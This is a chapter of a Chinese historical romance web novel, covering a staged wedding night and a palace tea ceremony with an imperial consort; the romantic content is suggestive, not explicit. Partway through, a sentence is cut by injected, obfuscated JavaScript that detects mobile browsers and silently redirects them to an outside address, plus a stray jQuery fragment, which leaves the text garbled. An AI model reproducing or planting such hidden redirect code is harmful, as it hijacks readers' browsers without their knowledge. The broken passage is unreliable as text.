随着最后一根红烛熄灭,婚房内一片黑暗。
夜格外寂静,黑暗中失去视觉,听觉便格外灵敏。隔壁耳房传来一阵窸窸窣窣之声。
周遭黑暗,祝余十分紧张,小声同梁筠讲,“隔壁怎会有人?”
“必定是听墙角的婆子,我们若不闹出些响动,怕是难以交差。”梁筠离祝余很近,他的鼻息喷到她的发顶,酥酥痒痒的。
“怎、怎么发声?”祝余口干舌燥的,看了刚刚的画册,脑内全都是让人脸红的旖旎。
“呵,放心,不会假戏真做。”梁筠声音带笑,小声在祝余耳旁说到。“你只需配合我就好。”
耳房中监视的婆子,将耳朵紧紧贴在墙壁上,透过砖缝,仔细听着。隔壁两人窃窃低语的声音时断时续,男人嗓音磁性浑厚,女人嗓音柔软暧昧,婆子听得都有些耳热。
婚房内,梁筠紧挨着祝余坐在塌上,他掌心燥热,虽说让祝余配合他便好,他如今却也犯了难。在司天台这些年,跟着师傅走南闯北多少龌龊的事都见过,可眼下却深感纸上得来终学浅。
他有些坐立难安,大掌无意识地放到了祝余膝盖上。
祝余被烫得哼咛一声。
她从未想过自己竟能发出这等让人难堪的声音,身子一抖,红色从耳尖一路蔓延到胸口。
黑暗中她看不到梁筠的表情,手足无措地往旁边挪了半寸。
“别动。”听到祝余这声哼咛,梁筠掌中燥热更甚,手掌扶住祝余的腰往前一带,低声提醒她不要乱动。
梁筠的手掌拂过腰侧,炙热、滚烫,又若即若离。祝余本能瑟缩了一下,不想转头口鼻就蹭到了梁筠的颈侧。
梁筠难以抑制地闷哼一声。
窗外,春雨又起,雨水一滴滴砸在竹叶上,又被呼啸而过的风圈进泥土里。竹叶下的菖蒲随风舞动,下一刻,被从高处跌落的雨滴,撞地直不起腰。
雨势愈发滂沱,竹叶与菖蒲都有些抵挡不住,在这场春雨中零落成泥,清新的香气迸发,为春日填了一抹旖旎。
呼啸的风声、砸落的雨声,和婚房内的响动时而混杂在一起,时而婉转,时而缠绵。
耳房的婆子都有些听不下去了,心道这邺王平日里憨傻愚钝,到了这事上竟无师自通。
“还不够么?”祝余开口,嗓子都哑了,前前后后都大半个时辰了,听墙角的婆子大概满意了吧。
“乖,继续。”梁筠犹感不足,拉回心不在焉的祝余诱哄。
窗外雨声激荡,又掀起阵阵涟漪。
耳房的婆子开始暗骂真是苦差事,这响动让她许久未动的心也荡漾起来,真是羞臊。
“殿下,良宵虽美,也要小心身子才是。”婆子终于是忍不住,绕到门口敲响房门,出声提醒。
祝余如获特赦,大口喘气平复心情。
“备水吧。”她开口和婆子吩咐,在听到自己的声音后又霎时红了脸。
这一夜,说逾距也并未逾距,二人还是儿时那些亲昵的动作,她靠着他,依偎在一起,仿佛又回到了那些年的时光。
可两人却心照不宣,都知道这样的依偎与儿时大相径庭,带着暧昧的撩拨与模棱两可的缱绻。
……
祝余双手环膝,坐在浴桶中,她舔舔唇,口干到唇角都有些开裂,方才的一幕幕又冲进脑海里,她又命橘叶添了两瓢冷水。
沐浴后,她腿脚虚浮地回到房中,第一眼便看到了刚刚点燃烛火,立在塌旁的梁筠。
他只着洁白的里衣,在光下一尘不染,可额角渗出的汗水,却暴露了他刚刚忍地多么辛苦。
念及此,刚平复好心情的祝余又感觉燥热上涌,暗骂自己不争气。
她拿起帕子,伸手为梁筠擦了擦染湿的鬓角。梁筠一把抓住她的手腕,从手中扯下帕子,又退后到两步开外。
祝余搓着手指有些不知所措,殊不知她而今的样子,放在任何一个男人眼里有多磋磨。
她的里衣领口交迭,却也挡不住被热水蒸红的锁骨,颈间的水珠顺气而下,没入胸口的洁白处消失不见。
被热水蒸地双颊微红,眼底的水色潋滟,靠近,皂角的清香在略高的体温下,馨香似溢,让人心驰。
梁筠喉头滚动,马上错开视线,不自然地咳了咳。
“今日还未完。”说着从袖笼中掏出一把小巧的匕首,将闪着寒光的刀刃对准自己的指腹。
“这是做什么?!”
“落红。”
祝余脚步一顿,不好意思地低下头去。佳人才子的话本子里讲过,这是万万不可或缺的。
嫣红的血落在喜床正中,醒目又刺眼,祝余被这血色扎了一下,内心复杂。
收拾好心情,她发觉梁筠已经把八皇子的外衣拔下,将他挪至喜床一端,而后又塞给他一颗药。
八皇子的面色由白转红,嘴角上扬眼珠滚动,仿佛在做着什么美梦。
祝余趁现在仔细观察八皇子,将他的眉目记在脑海里,生怕第二日入宫被盘问答不上来。
一转头,梁筠却不见了踪影,唯一的出入口仆从驻守,他一个人高马大的活人就这样凭空消失在邺王府的婚房中,处处透露着诡异,就如同他来时一样。
另一边,梁筠眼见时辰不早,再逗留下去恐怕要暴露,再加上自己浑身火气未散,外衣也未系便通过密道往司天台去。
苍青早早在栖川阁等候,看见梁筠现身马上跑来,可话却悬在口中,只剩惊讶。
梁筠衣衫不整,发丝也略显凌乱,里衣领口翻到一侧,露出墨绿色的绸缎内衬。他面色红润,张着口还有些气喘,平日里干净的眼白而今爆出血丝,眼角泛红,浑身充斥着欲望与克制。
大人这是遇险了?不对不对,这是心湖涌动啊!
苍青见状急忙吩咐仆从去备水添衣,梁筠则一头扎进盥室,久久未出。
春雨已歇,空中的水汽化作露珠凝结在竹叶之上,越积越多,直至溃堤。许久许久,梁筠长舒一口气,而后又重新审视自己。
他从未想过今夜要以这样的方式开始,更未想过会以这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576473|204872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样的方式结束。
他勾起嘴角,竟渐渐笑出声来,可这笑声中却带着凄厉。嘲讽自己的卑劣更嘲讽自己的龌龊。
-
第二日一早,碧空如洗,天气极好。
祝余一夜未眠,只等天亮迎接今日的盘问。她早早便去偏厅梳妆,等到日上三竿八皇子才苏醒起身。
她一身隆重的命妇朝服,层层叠叠如枷锁一般裹在身上。头上是特制的金簪玉冠,珠宝镶嵌其中华美非凡,可祝余却觉得脖颈被压,喘不过气来。
今日辰时本就应进宫请安,可八皇子一睡不起,圣上竟然也纵着,着实是无法无天。
仆从与看管软磨硬泡了半个时辰,八皇子才终于同意进宫。
真正置身于金顶朱漆的宫殿中,祝余才略略有了些已经成亲的实感。一路畅通无阻,少倾便到了凝和殿。
大霄的君主高坐,周围众人低眉垂首,显得宝座上那人威严非凡。一旁而立的,则是备受宠爱的邺王生母德妃。
亲王大婚,理应向帝后敬茶,圣上却特许其生母代礼,这对母女的特权与宠爱可见一斑。
“跪——”祝余垂着眸,如提线木偶一般跟随指挥双膝跪地。
“叩——”额头贴在地面上,冰凉的触感,刺地她眼角微湿。
“奉茶——”霁白瓷盖碗端在手中,烫得祝余指尖泛红。
八皇子到也配合,规规矩矩地一起礼成。
“快抬起头来,让我看看。”德妃率先开口,语气中满是和蔼。祝余将下巴扬起,睫毛轻颤抬眼。
“是个美人胚子。”德妃满意点头。
八皇子在繁缛的礼节后,再也不愿多忍,三两步跑出殿外追逐着落在偏殿的喜鹊,喜鹊受惊,扑棱棱飞走,就如同祝余的心一般,不愿多留。
圣上似是十分疲累,硬撑着走完仪式,便由仆从搀扶着回了居所,殿内只留下了德妃与零星几个下人。
圣上走后,德妃也懒得再装,语气中带了些冷意,“你如今是邺王妃,要处处为王府着想,切莫招惹是非。”
祝余早就料到,有起母必有其子,对八皇子如此纵容,必然对他十分溺爱。
“娘娘,您看。”一旁的嬷嬷拿着块布料上前,一脸谄媚地朝着德妃说。
德妃见到此物眼睛一亮,脱口而出,“我儿没问题!我儿正常!”
而后又觉得自己失态,轻咳一声,正襟危坐。
“既然如此,那便多做准备,早些诞下子嗣吧。”看着那片落红的喜帐,德妃难得有些笑脸。
祝余瞥见,有些眼热,轻声道,“是。”
德妃见祝余面色绯红,又是个好拿捏的,十分满意。
在旁敲侧击问了几件房中密事后,见祝余虽羞涩但可以对答如流,便判定八皇子只是器质缺如,并不影响繁衍子嗣,更加欣喜。
了解到了最想知道的,德妃便随意赏了几件不要的瓷器宝物,将祝余打发了去。
祝余长舒一口气,暗叹多亏了梁筠,否则今日还不知要如何应对。